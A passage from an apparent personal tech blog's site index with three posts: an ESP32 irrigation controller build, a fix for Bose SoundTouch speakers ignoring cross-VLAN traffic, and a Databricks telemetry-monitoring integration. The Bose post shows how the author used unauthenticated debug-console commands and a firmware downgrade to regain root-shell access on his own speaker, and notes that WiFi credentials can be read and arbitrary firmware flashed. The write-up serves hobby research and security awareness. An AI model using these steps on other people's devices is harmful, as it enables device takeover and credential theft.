10A/250V AC per channel Power: 7-36V DC (screw terminal) or 5V USB-C Interfaces: RS485, WS2812 RGB LED, passive buzzer, SMA antenna connector Extras: 40-pin Pico-compatible header for additional GPIO I only need 4 of the 6 channels — one per irrigation zone. The remaining two are available for future expansion.\nThe Wiring # This is the part that confused me the most. The Toro system hides the complexity inside a single enclosure — one transformer powers both the controller logic and the valve solenoids. With ESP32, these are two separate circuits:\nESP32 power — USB-C charger (5V) or DC power supply (7-36V) Valve power — the existing Toro 24V AC transformer The Toro transformer outputs 24V AC — alternating current. The ESP32 needs DC. You can\u0026rsquo;t use one to power the other without a rectifier, so the simplest approach is a USB-C phone charger for the ESP32 and the Toro transformer exclusively for the valves.\nRelay Terminal Layout # Each relay channel has three screw terminals:\nNO — Normally Open (connect valve wire here) COM — Common (connect transformer here) NC — Normally Closed (leave empty) If you accidentally wire to NC instead of NO, the valve will be open by default and close when activated — the opposite of what you want. Nothing burns, it just behaves backwards.\nStep by Step # Bridge COM terminals across CH1-CH4 with short jumper wires (ethernet cable works fine — strip ~5mm of insulation) Connect one transformer wire to any COM terminal (they\u0026rsquo;re all bridged) Connect the other transformer wire to the common valve wire from the garden Connect each zone wire to the NO terminal of its channel The rain sensor connects to GPIO4 + GND on the Pico header using dupont connectors — it\u0026rsquo;s a simple NO contact with no polarity.\nThe Firmware # The full ESPHome configuration is in the GitHub repo. Here I\u0026rsquo;ll focus on the design decisions that matter.\nInterlock — One Zone at a Time # A 24V AC/625mA transformer can\u0026rsquo;t reliably drive multiple solenoid valves simultaneously (each draws ~200-300mA). The firmware enforces a hardware-level interlock:\n1 2 3 4 5 6 7 8 switch: - platform: gpio pin: GPIO1 name: \u0026#34;Zone 1\u0026#34; id: zone_1 restore_mode: ALWAYS_OFF interlock: \u0026amp;interlock_group [zone_1, zone_2, zone_3, zone_4] interlock_wait_time: 2s The interlock_wait_time: 2s gap gives the closing valve time to fully shut before the next one opens — protecting the transformer from momentary double current draw. The YAML anchor (\u0026amp;interlock_group / *interlock_group) keeps this DRY across all four zones.\nAuto-Off with Restart-Safe Timers # Every zone has a configurable maximum runtime (default 30 minutes, adjustable from HA via a slider). The naive approach — an inline delay in on_turn_on — has a subtle bug: if someone turns a zone off and back on before the original delay expires, you get two parallel timers. The second timer fires at the originally scheduled time, cutting the zone short.\nThe fix is a script with mode: restart:\n1 2 3 4 5 6 7 8 script: - id: zone_auto_off_1 mode: restart then: - delay: !lambda \u0026#34;return id(max_runtime).state * 60 * 1000;\u0026#34; - rtttl.play: \u0026#34;warn:d=16,o=5,b=200:e,c\u0026#34; - delay: 2s - switch.turn_off: zone_1 Each on_turn_on calls script.execute, which restarts the timer cleanly. on_turn_off calls script.stop to cancel it. No race conditions, no double-fire.\nThe max runtime value lives in a number template with restore_value: true — it persists across reboots and is adjustable from Home Assistant without reflashing:\n1 2 3 4 5 6 7 8 9 10 11 number: - platform: template name: \u0026#34;Max Runtime\u0026#34; id: max_runtime unit_of_measurement: \u0026#34;min\u0026#34; min_value: 5 max_value: 60 step: 5 initial_value: 30 optimistic: true restore_value: true Rain Sensor — Firmware-Level Kill Switch # Most Home Assistant irrigation setups handle rain detection through an automation. That works — until HA goes offline. The rain sensor logic runs directly on the ESP32:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 binary_sensor: - platform: gpio pin: number: GPIO4 mode: INPUT_PULLUP inverted: true name: \u0026#34;Rain Sensor\u0026#34; id: rain_sensor device_class: moisture filters: - delayed_on: 500ms - delayed_off: 5000ms on_press: - switch.turn_off: zone_1 - switch.turn_off: zone_2 - switch.turn_off: zone_3 - switch.turn_off: zone_4 - light.turn_on: id: status_led red: 0% green: 0% blue: 100% - rtttl.play: \u0026#34;rain:d=4,o=5,b=100:8e6,8d6\u0026#34; The asymmetric debounce is intentional — detect rain fast (500ms), but don\u0026rsquo;t clear the alarm until it\u0026rsquo;s genuinely dry (5s). The LED turns blue and the buzzer sounds. An additional HA automation sends a push notification as a secondary layer.\nWiFi Independence # 1 2 wifi: reboot_timeout: 0s By default, ESPHome reboots after 15 minutes without WiFi. With reboot_timeout: 0s, the device keeps running — the active zone finishes its cycle, auto-off still works, interlock still works. Everything that matters runs locally.\nA web_server on port 80 provides a local control panel accessible from any browser on the LAN. If Home Assistant is down, you can still toggle zones and check sensor state at http://\u0026lt;device-ip\u0026gt;.\nRuntime Counters # 1 2 3 4 5 sensor: - platform: duty_time name: \u0026#34;Zone 1 Total Runtime\u0026#34; sensor: zone_1_active restore: true Total runtime per zone, persisted across reboots. If zone 3 accumulates significantly more hours than the others over a season, something is wrong — a clogged nozzle, a stuck valve, or a misconfigured schedule. This is free diagnostics from a few lines of YAML.\nSafety Summary # Every safety mechanism runs on the ESP32 firmware. No WiFi, no Home Assistant, no cloud — just the microcontroller and the relay board.\nProtection How Needs HA? Needs WiFi? One zone at a time interlock + 2s wait No No Max runtime auto-off script: mode: restart No No Rain sensor kill switch on_press → turn off all No No Safe boot state restore_mode: ALWAYS_OFF No No WiFi loss resilience reboot_timeout: 0s No No Fallback AP Captive portal hotspot No No Local web UI web_server: port: 80 No Yes (LAN) WiFi recovery improv_serial No No (USB) What Home Assistant Adds # HA provides the scheduling layer, dashboards, and notifications — things that are nice to have but not critical:\nMorning schedule automation: runs zones sequentially at 6:00, 15 minutes each, skips if rain sensor is active Rain guard automation: notification when rain is detected (firmware already handled the shutoff) Dashboard: zone toggles, runtime slider, sensor readings, total runtime counters History: graphs of zone activity, rain events, WiFi signal over time Source # Full configuration, documentation, and wiring diagrams: github.com/us3r/garden-irrigation-system\n","date":"10 April 2026","externalUrl":null,"permalink":"/posts/garden-irrigation-esp32/","section":"Posts","summary":"","title":"Replacing a Toro Irrigation Controller with ESP32 and Home Assistant","type":"posts"},{"content":"","date":"10 April 2026","externalUrl":null,"permalink":"/tags/waveshare/","section":"Tags","summary":"","title":"Waveshare","type":"tags"},{"content":"","date":"8 April 2026","externalUrl":null,"permalink":"/tags/airplay/","section":"Tags","summary":"","title":"Airplay","type":"tags"},{"content":"","date":"8 April 2026","externalUrl":null,"permalink":"/tags/bose/","section":"Tags","summary":"","title":"Bose","type":"tags"},{"content":"","date":"8 April 2026","externalUrl":null,"permalink":"/tags/iptables/","section":"Tags","summary":"","title":"Iptables","type":"tags"},{"content":"","date":"8 April 2026","externalUrl":null,"permalink":"/categories/networking/","section":"Categories","summary":"","title":"Networking","type":"categories"},{"content":"","date":"8 April 2026","externalUrl":null,"permalink":"/tags/ubiquiti/","section":"Tags","summary":"","title":"Ubiquiti","type":"tags"},{"content":"","date":"8 April 2026","externalUrl":null,"permalink":"/tags/unifi/","section":"Tags","summary":"","title":"Unifi","type":"tags"},{"content":"","date":"8 April 2026","externalUrl":null,"permalink":"/tags/vlan/","section":"Tags","summary":"","title":"Vlan","type":"tags"},{"content":"I have a properly segmented home network. Eight VLANs, zone-based firewall, IoT devices isolated from the rest. It works exactly as designed. Except for two Bose SoundTouch speakers that refuse to play music from my phone.\nThis isn\u0026rsquo;t a firewall misconfiguration. It isn\u0026rsquo;t a missing mDNS rule. It\u0026rsquo;s a limitation in the SoundTouch network stack that took me an evening of systematic debugging to pin down, and one line of iptables to fix.\nThe setup # My home network runs on a UniFi Dream Machine SE with a fairly standard VLAN layout:\nNetwork Subnet VLAN Purpose Home 10.0.3.0/24 30 Phones, laptops, tablets IoT 10.0.100.0/24 100 Smart home devices The Home network is in the Internal firewall zone. IoT has its own dedicated zone with default-deny toward Internal, plus specific allow rules for things like Home Assistant. Traffic from Internal to IoT is allowed.\nTwo Bose SoundTouch speakers live in the IoT VLAN:\nSoundTouch SA-5 (wired) -bathroom SoundTouch Lifestyle (WiFi) -living room Both running firmware 27.0.6. Each network has its own SSID -Home on 5 GHz only, IoT on 2.4 + 5 GHz. mDNS reflection is enabled on both networks.\nAirPlay from my iPhone or Mac to the SoundTouch speakers doesn\u0026rsquo;t work. Move the speakers to the Home network -works instantly.\nWhy not just move them to Home? # The obvious answer is: put the speakers on the same VLAN as your phone and be done with it. That\u0026rsquo;s what most forum posts suggest. That\u0026rsquo;s what Bose support will tell you. And yes -it works.\nBut I\u0026rsquo;m not going to do that.\nI spend my days designing security architectures for financial institutions. I build detection-as-code frameworks, threat hunting apps, and data observability tools that catch when a single endpoint goes silent out of a thousand. The entire point of my professional work is that security boundaries exist for a reason, and convenience is not a valid justification for weakening them.\nA Bose speaker runs firmware that hasn\u0026rsquo;t been updated since August 2022. It has a web server, an open API on port 8090, and no security patches in sight. It belongs in the IoT VLAN -behind a firewall that blocks it from reaching my laptops, my phones, my home NAS, my work environment. Every device in my IoT network is there because I don\u0026rsquo;t fully trust it, and a speaker with abandoned firmware is a textbook example of why.\nMoving it to the Home network means every device on that VLAN -the speaker included -can freely communicate with my Mac where I have SSH keys, VPN credentials, and access to production systems. That\u0026rsquo;s not a theoretical risk. It\u0026rsquo;s the kind of lateral movement path I\u0026rsquo;d flag in a security review at work. I\u0026rsquo;m not going to create one at home because AirPlay is inconvenient.\nThe right solution is to keep the security boundary intact and find a way to make AirPlay work across it. That\u0026rsquo;s what the rest of this post is about.\nThe obvious suspects (all innocent) # Firewall rules # First thing I checked. The zone-based firewall has a rule allowing traffic from the Home network to the IoT network. I verified it was active, matching correctly, and in the right position (before the default block).\nTo be thorough, I temporarily set both source and destination to ANY. Still nothing.\nBut here\u0026rsquo;s the thing -other IoT devices responded just fine from the Home network:\n$ ping 10.0.100.5 # Home Assistant → OK (4ms) $ ping 10.0.100.150 # Front door controller → OK (5ms) $ ping 10.0.100.6 # Doorbird → OK (4ms) $ ping 10.0.100.103 # Zigbee gateway → OK (22ms) $ ping 10.0.100.172 # SoundTouch Living Room → timeout $ ping 10.0.100.234 # SoundTouch Bathroom Speaker → timeout Same firewall rules, same VLAN, same direction. Four devices respond, two don\u0026rsquo;t. Not a firewall problem.\nmDNS / Bonjour discovery # mDNS reflection was already enabled on both networks. I verified with dns-sd:\n$ dns-sd -B _airplay._tcp Browsing for _airplay._tcp 20:35:15.450 Add local. _airplay._tcp. Living Room 20:35:15.450 Add local. _airplay._tcp. Bathroom My Mac sees both speakers. Discovery works perfectly. The speakers show up in the AirPlay menu. They just refuse to connect when you select them.\nWiFi multicast # I enabled Multicast Enhancement (IGMPv3) on both SSIDs to ensure multicast-to-unicast conversion was working properly on the APs. No change.\nThe actual test # To rule out any network-layer issue, I connected my MacBook directly to the IoT SSID:\n$ ifconfig en0 | grep inet inet 10.0.100.102 $ ping 10.0.100.172 # SoundTouch Living Room 64 bytes from 10.0.100.172: icmp_seq=0 ttl=64 time=166ms $ nc -z 10.0.100.172 7000 # AirPlay port Connection succeeded! $ nc -z 10.0.100.172 8090 # SoundTouch API Connection succeeded! Everything works from the same subnet. Ping, AirPlay port (7000), SoundTouch API (8090) -all open and responding.\nSwitched back to Home network:\n$ ifconfig en0 | grep inet inet 10.0.3.209 $ ping 10.0.100.172 Request timeout $ nc -z 10.0.100.172 7000 timeout $ nc -z 10.0.100.172 8090 timeout Same speaker, same Mac, same AP. The only difference is that traffic now routes through the gateway instead of staying on the same L2 segment. The traceroute confirmed packets reach the UDM gateway (10.0.3.1) but never make it to the speaker -or rather, the speaker gets them but never responds.\nRoot cause # Bose SoundTouch has a simplified network stack. It accepts a default gateway via DHCP (I confirmed this through the SoundTouch API on port 8090), but it appears to silently drop traffic that arrives from a different subnet.\nThe speaker works fine for outbound connections -it reaches Bose\u0026rsquo;s streaming servers, gets firmware updates, communicates with the SoundTouch app when you\u0026rsquo;re on the same network. But when an incoming packet arrives with a source IP outside its local /24, the speaker ignores it.\nThis isn\u0026rsquo;t documented anywhere by Bose. The SoundTouch web UI has no routing configuration. The API exposes IP and MAC but nothing about gateway settings. There\u0026rsquo;s no way to configure this behavior.\nThe firmware (27.0.6 from August 2022) is the latest available -Bose has effectively ended updates for the SoundTouch line.\nThe fix: NAT masquerade # If the speaker only responds to traffic from its local subnet, we make the traffic look local.\nOn the UniFi Dream Machine SE (via SSH):\n1 2 3 4 iptables -t nat -A POSTROUTING \\ -s 10.0.3.0/24 \\ -d 10.0.100.0/24 \\ -j MASQUERADE This tells the UDM to rewrite the source IP of any packet from Home (10.0.3.x) heading to IoT (10.0.100.x). The speaker sees the packet coming from 10.0.100.1 (the gateway\u0026rsquo;s IoT interface) instead of 10.0.3.209 (my Mac). It responds to the gateway, which translates the response back to the original source.\nAfter adding this rule:\n$ ping 10.0.100.172 64 bytes from 10.0.100.172: icmp_seq=0 ttl=63 time=50ms $ ping 10.0.100.234 64 bytes from 10.0.100.234: icmp_seq=0 ttl=63 time=3ms AirPlay connects instantly. Music plays. Both speakers.\nMaking it persistent # The iptables rule doesn\u0026rsquo;t survive a UDM reboot. On UniFi OS (Debian-based), the cleanest approach I found is a @reboot cron job:\n1 2 3 4 5 ssh root@10.0.1.1 crontab -e # Add: @reboot sleep 30 \u0026amp;\u0026amp; iptables -t nat -C POSTROUTING -s 10.0.3.0/24 -d 10.0.100.0/24 -j MASQUERADE 2\u0026gt;/dev/null || iptables -t nat -A POSTROUTING -s 10.0.3.0/24 -d 10.0.100.0/24 -j MASQUERADE The sleep 30 gives the network stack time to come up. The -C check before -A prevents duplicate rules if cron fires twice.\nOne caveat: UniFi firmware updates may reset the crontab. Worth checking after each upgrade.\nGoing deeper: what if you could fix the firmware? # The masquerade rule works. But it\u0026rsquo;s a workaround -the actual problem is inside the speaker. I wanted to understand why.\nThe SoundTouch runs Linux # The SA-5 (internal codename: \u0026ldquo;burns\u0026rdquo;) runs Linux 3.x on an ARM SoC. Port 17000 exposes a TAP (Test Access Point) console with a limited command set. On firmware 27.0.6, you get:\n$ echo \u0026#34;network status\u0026#34; | nc 203.0.113.1 17000 \u0026lt;Status primaryIsUp=\u0026#34;true\u0026#34; primaryIPAddress=\u0026#34;10.0.100.234\u0026#34;\u0026gt; \u0026lt;interfaceInfo name=\u0026#34;eth0\u0026#34; type=\u0026#34;wired\u0026#34; state=\u0026#34;up\u0026#34;\u0026gt; \u0026lt;ipInfo IPAddress=\u0026#34;10.0.100.234\u0026#34; SubnetMask=\u0026#34;255.255.255.0\u0026#34; /\u0026gt; \u0026lt;/interfaceInfo\u0026gt; \u0026lt;interfaceInfo name=\u0026#34;usb0\u0026#34; type=\u0026#34;wired\u0026#34; state=\u0026#34;up\u0026#34;\u0026gt; \u0026lt;ipInfo IPAddress=\u0026#34;203.0.113.1\u0026#34; SubnetMask=\u0026#34;255.255.255.252\u0026#34; /\u0026gt; \u0026lt;/interfaceInfo\u0026gt; \u0026lt;/Status\u0026gt; Notice what\u0026rsquo;s missing: no gateway, no routing table, no DNS. The TAP console exposes IP and subnet mask but nothing about L3 routing. The speaker gets a default gateway via DHCP -I confirmed this -but there\u0026rsquo;s no way to inspect or modify routing behavior through any available interface.\nThe locked door # Older SoundTouch firmware (pre-v16) had two commands that opened full root shell access:\nlocal_services on -started telnetd, accessible via CTRL-C escape sequence on the serial ETAP interface remote_services on -started SSH/telnet on network interfaces Firmware 27.0.6 removed both. Type either command and you get Command not found. Bose patched the debug access but left the broken network stack untouched. The last firmware update was August 2022. No more are coming -Bose is shutting down SoundTouch services entirely.\nThe firmware downgrade path # I had a spare SA-5 in a closet. Unused, expendable, perfect for experiments.\nThe micro-USB \u0026ldquo;SETUP\u0026rdquo; port on the back exposes a USB gadget interface at 203.0.113.1/30. Your computer gets 203.0.113.2 automatically. Over this interface, port 17008 serves a firmware update page that the normal WiFi/ethernet interfaces don\u0026rsquo;t expose:\n$ curl http://203.0.113.1:17008/update.html \u0026lt;title\u0026gt;Bose SoundTouch Wi-Fi Update\u0026lt;/title\u0026gt; \u0026lt;div class=\u0026#34;center\u0026#34;\u0026gt;From: 27.0.6\u0026lt;/div\u0026gt; An archive on Archive.org has every SA-5 firmware version from 9.0 to 27.0.6. I downloaded 15.0.20 -old enough to have local_services, new enough to be Bluetooth-capable.\nThe first upload attempt returned HTTP 409 -the device rejected the downgrade. After a sys factorydefault through the TAP console, the same upload returned HTTP 200 and the speaker rebooted into firmware 15.0.20:\n$ echo \u0026#34;sys ver\u0026#34; | nc 203.0.113.1 17000 BoseApp version: 15.0.20.37272.2363762 $ echo \u0026#34;local_services on\u0026#34; | nc 203.0.113.1 17000 local services on local_services on works again. The command is accepted. Telnetd should be running.\nThe last wall # Except it isn\u0026rsquo;t -not on the USB interface. The local_services command starts the daemon, but the root shell escape sequence (CTRL-C → e → login as root) only works through the physical ETAP serial interface. That\u0026rsquo;s the 3.5mm AUX IN jack on the back, speaking RS232 at 115200 baud through a TTL converter.\nI don\u0026rsquo;t have the cable. A USB-TTL converter (CH340 or FTDI) costs about $5 and would get me a root shell in minutes. From there: ip route show, iptables -L, maybe even patching the routing table or adding a startup script that fixes the cross-subnet response behavior permanently.\nThe security irony # Here\u0026rsquo;s what makes this interesting from a security perspective.\nI put these speakers in an isolated IoT VLAN specifically because I don\u0026rsquo;t trust their firmware. And I was right not to -the firmware has known CVEs, an unauthenticated API on port 8090, a TAP console with no authentication on port 17000, and a firmware update interface that accepts downgrades after a factory reset. From the same VLAN, anyone can:\nRead device configuration and WiFi credentials via the API Reboot the device or change its settings via TAP Downgrade the firmware to a version with root shell access Flash arbitrary firmware through the USB update page The IoT VLAN isolation isn\u0026rsquo;t paranoia. It\u0026rsquo;s the minimum responsible configuration for a device like this.\nBut the same simplified network stack that creates the cross-VLAN problem is also, in a twisted way, a form of accidental security. The speaker ignores routed traffic from other subnets. An attacker on a different VLAN can\u0026rsquo;t reach port 17000 or 8090 even if the firewall allows it -the speaker simply won\u0026rsquo;t respond. The masquerade rule I added is the thing that actually opens the attack surface from the Home VLAN.\nI added it anyway, scoped to just the Home-to-IoT direction, because the alternative -putting the speaker on the Home VLAN -would be worse. With masquerade, the speaker sees traffic from the gateway IP. With VLAN bridging, it sees traffic from every device on the network, and every device sees it.\nTrade-offs. That\u0026rsquo;s what network security always comes down to.\nThe takeaway # If you\u0026rsquo;re running a segmented network with IoT devices on a separate VLAN and AirPlay won\u0026rsquo;t connect to your Bose speakers despite correct firewall rules and working mDNS:\nTest from the same subnet first -confirm the speaker actually works Test from across the VLAN -if other IoT devices respond but Bose doesn\u0026rsquo;t, it\u0026rsquo;s the speaker, not the network Add a NAT masquerade rule for traffic from your client VLAN to the IoT VLAN The speaker isn\u0026rsquo;t broken. Your firewall isn\u0026rsquo;t misconfigured. Bose just shipped a network stack that doesn\u0026rsquo;t handle routed traffic. A single iptables rule fixes it.\nAnd keep in mind -this is Bose. Not some no-name brand with a rushed-to-market IoT device. This is a premium, established company charging premium prices, shipping firmware with unauthenticated debug consoles, known CVEs, and a network stack that silently drops valid routed traffic. If this is the state of security and network engineering from a brand people trust by default, imagine what\u0026rsquo;s running on the $15 smart plug you bought without thinking twice.\nAnd if you\u0026rsquo;re the type who can\u0026rsquo;t leave it at that -there\u0026rsquo;s a firmware archive, a USB update port, and a 3.5mm serial console waiting for someone with a $5 cable and a free afternoon.\nSpeakers: Bose SoundTouch SA-5 and Lifestyle, firmware 27.0.6. Gateway: UniFi Dream Machine SE.\n","date":"8 April 2026","externalUrl":null,"permalink":"/posts/bose-soundtouch-cross-vlan/","section":"Posts","summary":"","title":"Why Your Bose SoundTouch Ignores Traffic From Other VLANs (and How to Fix It)","type":"posts"},{"content":"","date":"25 March 2026","externalUrl":null,"permalink":"/tags/ai-functions/","section":"Tags","summary":"","title":"Ai-Functions","type":"tags"},{"content":"","date":"25 March 2026","externalUrl":null,"permalink":"/tags/lakewatch/","section":"Tags","summary":"","title":"Lakewatch","type":"tags"},{"content":"On March 24, Databricks announced Lakewatch - a SIEM built natively on the Lakehouse. Detection rules, investigation workflows, threat intelligence, all running on Delta tables and Unity Catalog. For anyone who\u0026rsquo;s been building security analytics on Databricks, this isn\u0026rsquo;t surprising. It\u0026rsquo;s confirmation. The Security Data Lake isn\u0026rsquo;t a cheaper SIEM alternative anymore. It\u0026rsquo;s becoming the platform.\nThis is the direction I\u0026rsquo;ve been pushing for a while. My threat hunting app runs on Databricks. My detection-as-code framework stores rules in YAML and tests them against Delta tables. The data pipeline I built for this demo uses Zerobus Ingest through NiFi to land security telemetry directly into Delta.\nLakewatch will handle detection. Spark Declarative Pipelines keep the plumbing healthy. But there\u0026rsquo;s a gap between those two that neither is designed to fill.\nThe gap nobody talks about # Databricks already gives you solid observability over your data pipelines. SDP data quality expectations will tell you when a column has unexpected NULLs. You\u0026rsquo;ll get notified when a pipeline fails entirely. Schema drift gets caught before bad data hits your gold tables.\nAll of that works well for pipeline health. The problem is a different kind of failure.\nYou have a thousand endpoints pushing security telemetry through your ingestion pipeline. One of them stops reporting. Maybe an EDR agent crashed. Maybe someone rotated a credential and the agent can\u0026rsquo;t authenticate. Maybe a firewall rule changed and the host can\u0026rsquo;t reach the collector.\nThe pipeline is green. Data quality checks pass. Throughput barely dips - 999 out of 1,000 sources are still reporting. SDP expectations are met. Lakewatch detects threats in the data that arrives. Everything looks healthy.\nExcept one endpoint is now completely unmonitored, and nobody noticed for three days.\nThis isn\u0026rsquo;t a pipeline problem. It\u0026rsquo;s a visibility problem. The pipeline works fine. The data that arrives is valid. The issue is what\u0026rsquo;s not arriving.\nPipeline monitoring tells you the pipe works. Asset-level monitoring tells you nothing is missing.\nSilentPulse # This is what I\u0026rsquo;ve been building with SilentPulse. It monitors security telemetry at the asset level - per host, per feed, per source. It compares what should be reporting against what actually is. When a source goes silent, SilentPulse catches it.\nOver the past few weeks, I connected it natively to Databricks. Not as a separate tool that sends webhook alerts, but as a first-class data source that plugs into the Lakehouse ecosystem.\nThe integration has three packages:\nsilentpulse-datasource - a PySpark DataSource that lets you read SilentPulse data with spark.read.format(\u0026quot;silentpulse\u0026quot;) silentpulse-sdp - observability decorators for Spark Declarative Pipelines silentpulse-uc-discovery - Unity Catalog asset discovery All open source, Apache 2.0: github.com/silentpulse-io/silentpulse-databricks\nThe rest of this post is a full walkthrough. Real pipeline, real data, real failure simulation.\nThe demo environment # I\u0026rsquo;m using the same NiFi + Zerobus Ingest pipeline from my previous post. Four hosts (host1, host2, host3a, host3b) generate security telemetry continuously. NiFi routes it through MergeContent and PutZerobusIngest into a Delta table at demo.default.zerobus_ingestion.\nNiFi (host1, host2, host3a, host3b) -\u0026gt; MergeContent -\u0026gt; PutZerobusIngest -\u0026gt; Databricks (demo.default.zerobus_ingestion) SilentPulse monitors all four hosts. If any of them stops reporting, SilentPulse creates a silence alert.\nBefore anything else, verify the data is flowing:\n1 2 3 4 SELECT host, COUNT(*) as events, MAX(timestamp) as last_seen FROM demo.default.zerobus_ingestion GROUP BY host ORDER BY host Four hosts, all reporting. This is our baseline.\nPart 1: Reading SilentPulse data in Spark # The DataSource package installs from a wheel stored in a Unity Catalog Volume:\n1 2 %pip install /Volumes/silentpulse/monitoring/packages/silentpulse_datasource-0.1.7-py3-none-any.whl dbutils.library.restartPython() Register the data source and connect:\n1 2 3 4 5 from silentpulse_datasource import SilentPulseDataSource spark.dataSource.register(SilentPulseDataSource) SP_URL = dbutils.secrets.get(\u0026#34;silentpulse\u0026#34;, \u0026#34;api_url\u0026#34;) SP_TOKEN = dbutils.secrets.get(\u0026#34;silentpulse\u0026#34;, \u0026#34;api_token\u0026#34;) Now read alerts like any other data source:\n1 2 3 4 5 6 7 8 df_alerts = ( spark.read.format(\u0026#34;silentpulse\u0026#34;) .option(\u0026#34;url\u0026#34;, SP_URL) .option(\u0026#34;token\u0026#34;, SP_TOKEN) .option(\u0026#34;resource\u0026#34;, \u0026#34;alerts\u0026#34;) .load() ) df_alerts.display() One line of code. The DataSource handles pagination, authentication, retry with exponential backoff on transient errors, and schema mapping. Under the hood it\u0026rsquo;s a full PySpark DataSource V2 implementation with batch reader, stream reader (for alerts), and stream writer (for telemetry ingest). The batch reader paginates through the SilentPulse API, yielding rows that map directly to the DataFrame schema.\nSame pattern for pipeline coverage:\n1 2 3 4 5 6 7 8 df_coverage = ( spark.read.format(\u0026#34;silentpulse\u0026#34;) .option(\u0026#34;url\u0026#34;, SP_URL) .option(\u0026#34;token\u0026#34;, SP_TOKEN) .option(\u0026#34;resource\u0026#34;, \u0026#34;coverage\u0026#34;) .load() ) df_coverage.display() Five resources are available: alerts, flows, entities, observations, and coverage. Each maps to a SilentPulse API endpoint with a predefined schema.\nMaterializing to Delta # Read once, write to Unity Catalog, query forever:\n1 2 3 4 5 6 7 8 9 10 for resource in [\u0026#34;alerts\u0026#34;, \u0026#34;flows\u0026#34;, \u0026#34;coverage\u0026#34;]: df = ( spark.read.format(\u0026#34;silentpulse\u0026#34;) .option(\u0026#34;url\u0026#34;, SP_URL) .option(\u0026#34;token\u0026#34;, SP_TOKEN) .option(\u0026#34;resource\u0026#34;, resource) .load() ) df.write.mode(\u0026#34;overwrite\u0026#34;).saveAsTable(f\u0026#34;silentpulse.monitoring.{resource}\u0026#34;) print(f\u0026#34;Saved {resource}: {df.count()} rows\u0026#34;) Now the visibility data sits alongside your security telemetry in Unity Catalog. Same governance, same access controls, same query engine.\nJoining both worlds # This is where it gets interesting. The raw events from Zerobus and the visibility metadata from SilentPulse, side by side:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 WITH host_activity AS ( SELECT host, COUNT(*) as total_events, MAX(timestamp) as last_event FROM demo.default.zerobus_ingestion GROUP BY host ) SELECT h.host, h.total_events, h.last_event, a.status as alert_status, a.severity, a.started_at as alert_since FROM host_activity h LEFT JOIN silentpulse.monitoring.alerts a ON h.host = a.asset_identifier AND a.status = \u0026#39;active\u0026#39; ORDER BY h.host One query that shows both what your hosts are sending and whether SilentPulse has flagged any of them. If a host has events but also an active alert, something changed recently. If a host has no events and an active alert, it went dark.\nPart 2: Breaking things on purpose # Theory is nice. Let\u0026rsquo;s break something.\nIn NiFi, I stop the processor for host3b. The other three hosts keep generating events. The pipeline stays green. Zerobus keeps ingesting. Data quality checks pass.\nAfter a few minutes, SilentPulse detects the silence. A new alert appears in the SilentPulse UI:\nBack in Databricks, refresh the data:\n1 2 3 4 5 6 7 8 df_alerts_new = ( spark.read.format(\u0026#34;silentpulse\u0026#34;) .option(\u0026#34;url\u0026#34;, SP_URL) .option(\u0026#34;token\u0026#34;, SP_TOKEN) .option(\u0026#34;resource\u0026#34;, \u0026#34;alerts\u0026#34;) .load() ) df_alerts_new.filter(\u0026#34;status = \u0026#39;active\u0026#39;\u0026#34;).display() host3b: status active, alert_type silence. The pipeline never noticed. SilentPulse did.\nPart 3: Pipeline observability with SDP decorators # The DataSource reads from SilentPulse. The SDP package goes the other direction - it reports telemetry back to SilentPulse from your Spark pipelines.\n1 2 %pip install /Volumes/silentpulse/monitoring/packages/silentpulse_sdp-0.1.7-py3-none-any.whl dbutils.library.restartPython() 1 2 3 4 5 6 import silentpulse_sdp SP_URL = dbutils.secrets.get(\u0026#34;silentpulse\u0026#34;, \u0026#34;api_url\u0026#34;) SP_TOKEN = dbutils.secrets.get(\u0026#34;silentpulse\u0026#34;, \u0026#34;api_token\u0026#34;) silentpulse_sdp.configure(api_url=SP_URL, api_token=SP_TOKEN) Three decorators, one function:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 from silentpulse_sdp import heartbeat, volume, completeness @heartbeat(integration_point=\u0026#34;zerobus-ingest\u0026#34;, interval_seconds=300) @volume(integration_point=\u0026#34;zerobus-ingest\u0026#34;, min_rows=10) @completeness( integration_point=\u0026#34;zerobus-ingest\u0026#34;, expected_columns=[\u0026#34;host\u0026#34;, \u0026#34;timestamp\u0026#34;], ) def monitored_zerobus_ingest(): return spark.table(\u0026#34;demo.default.zerobus_ingestion\u0026#34;) result = monitored_zerobus_ingest() print(f\u0026#34;ZeroBus ingest: {result.count()} rows from \u0026#34; f\u0026#34;{result.select(\u0026#39;host\u0026#39;).distinct().count()} hosts\u0026#34;) Each decorator is non-blocking. They fire telemetry to SilentPulse\u0026rsquo;s ingest endpoint using a thread pool, so your pipeline doesn\u0026rsquo;t slow down. The decorators report:\nheartbeat - \u0026ldquo;this pipeline is alive and ran at this time\u0026rdquo; volume - \u0026ldquo;this run processed N rows\u0026rdquo; (alerts if below min_rows) completeness - \u0026ldquo;these columns exist and are not all null\u0026rdquo; Now SilentPulse has visibility from both directions. It monitors whether sources are reporting (asset-level), and it receives heartbeats from your Databricks pipelines that process that data. If either side goes silent, you\u0026rsquo;ll know.\nStreaming: foreachBatch telemetry # The decorators above work great for batch tables. But if your SDP table returns a streaming DataFrame, operations like collect() and groupBy() fail, so the decorators fall back to heartbeat-only. You lose volume, completeness, and freshness signals.\nSince v0.1.7, the SDP package ships streaming_sink() and report_batch() for foreachBatch integration. Spark calls your handler with each micro-batch as a regular DataFrame, so all aggregation works:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from silentpulse_sdp import streaming_sink sink = streaming_sink( integration_point=\u0026#34;zerobus-ingest\u0026#34;, asset_column=\u0026#34;host\u0026#34;, min_rows=10, max_delay_seconds=600, ) @dlt.table(name=\u0026#34;telemetry_sink\u0026#34;) def telemetry_sink(): return ( spark.readStream.table(\u0026#34;bronze\u0026#34;) .writeStream.foreachBatch(sink) ) Each micro-batch reports heartbeat + volume per asset. Add expected_columns for completeness checks, max_delay_seconds for freshness. If you need to write the batch to a table alongside telemetry, use report_batch() inside your own handler:\n1 2 3 4 5 6 7 8 9 10 from silentpulse_sdp import report_batch def my_sink(batch_df, batch_id): report_batch( batch_df, batch_id, integration_point=\u0026#34;zerobus-ingest\u0026#34;, asset_column=\u0026#34;host\u0026#34;, min_rows=10, ) batch_df.write.mode(\u0026#34;append\u0026#34;).saveAsTable(\u0026#34;silver_events\u0026#34;) Everything is exception-safe. If SilentPulse is unreachable or the DataFrame is empty, the 